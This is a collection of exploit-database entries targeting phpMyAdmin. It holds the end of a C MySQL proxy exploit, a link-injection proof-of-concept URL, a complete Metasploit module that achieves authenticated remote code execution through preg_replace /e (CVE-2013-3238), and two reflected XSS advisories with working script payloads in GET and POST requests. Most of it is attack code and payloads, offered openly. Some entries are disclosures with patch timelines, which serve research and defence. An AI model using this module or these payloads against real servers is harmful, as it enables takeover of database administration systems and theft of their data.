		        if(write(sc, buf, byte_read) < 0)
		           break; 
		     }
	           
	             if(FD_ISSET(sc,&rfds)) 
		     {	
	   	         byte_read = read(sc,buf,BUFFER_LEN);
		         /* check for closing client connection*/
		         if(byte_read == 0) 
		         {	
			    close(sc);    
			    break;
		         }

		       if(write(s_mysql,buf,byte_read) < 0) 
			       break; 	    
		     }    
#if defined(DEBUG)		     
		     fprintf(stderr,"data:\n");	
		     for(i=0;i<byte_read;i++) 
			     fprintf(stderr," %c(%x) ",buf[i],buf[i]);
#endif    
	        }   

	    } 
	}
	free(buf);
	free(expt);
	return 0;
}

// milw0rm.com [2004-07-04]


emgent white_shee./PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification ( php)

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:
  Emanuele 'emgent' Gentili   <emgent@backtrack-linux.org>
  Marco 'white_sheep' Rondini <white_sheep@backtrack-linux.org>
  Alessandro 'scox' Scoscia   <scox@backtrack.it>


In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:


      '[i]'       => '<em>',      
      '[/i]'      => '</em>',     
      '[em]'      => '<em>',
      '[/em]'     => '</em>',
      '[b]'       => '<strong>',  
      '[/b]'      => '</strong>', 
      '[strong]'  => '<strong>',
      '[/strong]' => '</strong>',
      '[tt]'      => '<code>',    
      '[/tt]'     => '</code>',   
      '[code]'    => '<code>',
      '[/code]'   => '</code>',
      '[kbd]'     => '<kbd>',
      '[/kbd]'    => '</kbd>',
      '[br]'      => '<br />',
      '[/a]'      => '</a>',
      '[sup]'      => '<sup>',
      '[/sup]'      => '</sup>',

      and replace '/\[a@([^"@]*)@([^]"]*)\]/' with '<a href="\1" target="\2">'


POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]


OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input

metasploit/phpMyAdmin Authenticated Remote Code Execution via preg_replace() ( php)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
      'Description' => %q{
          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
          This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
          PHP versions > 5.4.6 are not vulnerable.
      },
      'Author' =>
        [
          'Janek "waraxe" Vind', # Discovery
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2013-3238' ],
          [ 'PMASA', '2013-2'],
          [ 'waraxe', '2013-SA#103' ],
          [ 'EDB', '25003'],
          [ 'OSVDB', '92793'],
          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&\n=+%",
          # Clear out PMA's error handler so it doesn't lose its mind
          # and cause ENOMEM errors and segfaults in the destructor.
          'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 25 2013'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("Unable to connect to server.")
      return CheckCode::Unknown
    end

    if res.code != 200
      print_error("Unable to query /js/messages.php")
      return CheckCode::Unknown
    end

    php_version = res['X-Powered-By']
    if php_version
      print_status("PHP Version: #{php_version}")
      if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
        if $1.to_i > 5
          return CheckCode::Safe
        else
          if $1.to_i == 5 and $2.to_i > 4
            return CheckCode::Safe
          else
            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
              return CheckCode::Safe
            end
          end
        end
      end
    else
      print_status("Unknown PHP Version")
    end

    if res.body =~ /pmaversion = '(.*)';/
      print_status("phpMyAdmin version: #{$1}")
      case $1.downcase
        when '3.5.8.1', '4.0.0-rc3'
          return CheckCode::Safe
        when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
          return CheckCode::Vulnerable
        else
          if $1.starts_with? '3.5.'
            return CheckCode::Vulnerable
          end

          return CheckCode::Unknown
      end
    end
  end

  def exploit
    uri = target_uri.path
    print_status("Grabbing CSRF token...")
    response = send_request_cgi({ 'uri' => uri})
    if response.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    if (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
    else
      print_good("Retrieved token")
    end

    token = $1
    post = {
      'token' => token,
      'pma_username' => datastore['USERNAME'],
      'pma_password' => datastore['PASSWORD']
    }

    print_status("Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => post
    })

    if login.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.body =~ /Welcome to/
      fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
    else
      print_good("Authentication successful")
    end

    db = rand_text_alpha(3+rand(3))
    exploit_result = send_request_cgi({
      'uri'  => normalize_uri(uri, 'db_structure.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'query_type' => 'replace_prefix_tbl',
        'db' => db,
        'selected[0]' => db,
        'token' => token,
        'from_prefix' => "/e\0",
        'to_prefix' => payload.encoded,
        'mult_btn' => 'Yes'
      }
    },1)
  end
end

Janek Vind aka waraxe/phpMyAdmin 3.5.7 Cross Site Scripting ( na)

[waraxe-2013-SA#102] - Reflected XSS in phpMyAdmin 3.5.7
===============================================================================

Author: Janek Vind "waraxe"
Date: 09. April 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-102.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpMyAdmin is a free software tool written in PHP, intended to handle the
administration of MySQL over the World Wide Web. phpMyAdmin supports a wide
range of operations with MySQL.

http://www.phpmyadmin.net/home_page/index.php

Affected are versions 3.5.0 to 3.5.7, older versions not vulnerable.


###############################################################################
1. Reflected XSS in "tbl_gis_visualization.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied parameters "visualizationSettings[width]" and "visualizationSettings[height]"
Preconditions:
1. valid session
2. "token" parameter must be known
3. valid database name must be known


Php script "tbl_gis_visualization.php" line 51:
------------------------[ source code start ]----------------------------------
// Get settings if any posted
$visualizationSettings = array();
if (PMA_isValid($_REQUEST['visualizationSettings'], 'array')) {
    $visualizationSettings = $_REQUEST['visualizationSettings'];
..
<legend><?php echo __('Display GIS Visualization'); ?></legend>
<div id="placeholder" style="width:<?php echo($visualizationSettings['width']); ?>px;
                         height:<?php echo($visualizationSettings['height']); ?>px;">
------------------------[ source code end ]------------------------------------


Tests (parameters "db" and "token" must be valid):

http://localhost/PMA/tbl_gis_visualization.php?db=information_schema&amp;
token=17961b7ab247b6d2b39d730bf336cebb&amp;
visualizationSettings[width]="><script>alert(123);</script>

http://localhost/PMA/tbl_gis_visualization.php?db=information_schema&amp;
token=17961b7ab247b6d2b39d730bf336cebb
&amp;visualizationSettings[height]="><script>alert(123);</script>


Result: javascript alert box pops up, confirming Reflected XSS vulnerability.


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

31.03.2013 -> Sent email to developers
31.03.2013 -> First response email from developers
02.04.2013 -> Second email from developers - XSS patched in Git repository
03.04.2013 -> phpMyAdmin 3.5.8-rc1 is released
08.04.2013 -> phpMyAdmin 3.5.8 is released
09.04.2013 -> public advisory released


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------


phpMyAdmin version 3.5.7 suffers from a reflective cross site scripting vulnerability.

Liscker/phpMyAdmin 3.3.0 Cross Site Scripting ( na)


there is a xss in phpmyadmin 3.3.0 when we create new database in interface, the "new_db" parameter do not filter characters when users enter. attacker can enter malicious code, like "<script>alert(/liscker/);</script>". it also can be true in post and get. but in post, we can not encode xss code, or , the xss will faild. 




For example:


GET:

http://localhost/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&amp;reload=1&amp;new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&amp;db_collation=


POST:

POST /phpmyadmin/db_create.php HTTP/1.1
Accept: */*
Referer: http://localhost/phpmyadmin/db_create.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)
Host: localhost
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: phpMyAdmin=95830e770d0f213c04d63b623940f46f95c6f571; pma_lang=en-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pmaUser-1=Hfd255%2Bp2dc%3D; pma_navi_width=200; pmaPass-1=MlPzQC8J2iY%3D; pma_fontsize=82%25; pma_theme=original
token=759f7a380111a292995ec447408bbdb3&amp;reload=1&amp;new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&amp;db_collation=



When you test, please replace the session "759f7a380111a292995ec447408bbdb3" with yourself. I suggest to test it in interface.



Liscker
2010.03.12





phpMyAdmin version 3.3.0 suffers from a cross site scripting vulnerability.